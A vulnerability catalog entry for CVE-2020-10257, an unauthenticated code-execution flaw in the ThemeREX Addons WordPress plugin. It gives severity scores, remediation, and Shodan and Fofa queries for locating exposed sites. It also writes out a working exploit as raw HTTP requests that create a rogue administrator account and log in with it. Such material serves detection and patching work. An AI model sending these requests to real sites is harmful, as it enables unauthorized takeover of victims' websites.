| Title | ThemeREX Addons - Remote Code Execution |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary PHP functions, potentially leading to remote code execution and full site compromise. |
| Remediation | Update to version 2020-03-09 or later to fix access control issues. |
| CVSS Score | 9.8 |
| EPSS Score | 0.47784 |
| CVE ID | CVE-2020-10257 |
| CWE ID | CWE-94 |
| Shodan Query | http.html:trx_addons |
| Fofa Query | body=trx_addons |
| Tags | cve cve2020 rce wordpress wp-plugin wp themerex unauth vkev |
ThemeREX Addons plugin before 2020-03-09 for WordPress contains an access control vulnerability in the /trx_addons/v2/get/sc_layout REST API endpoint, allowing any users to execute PHP functions because includes/plugin.rest-api.php calls trx_addons_rest_get_sc_layout with an unsafe sc parameter, letting attackers execute arbitrary PHP functions, exploit requires no authentication.
GET /wp-json/trx_addons/v2/get/sc_layout?sc=wp_insert_user&role=administrator&user_login=JnyIGN&user_pass=NrEcyxGd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Connection: close
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=JnyIGN&pwd=NrEcyxGd&wp-submit=Log+In
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10257.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-10257.pcap
N/AN/A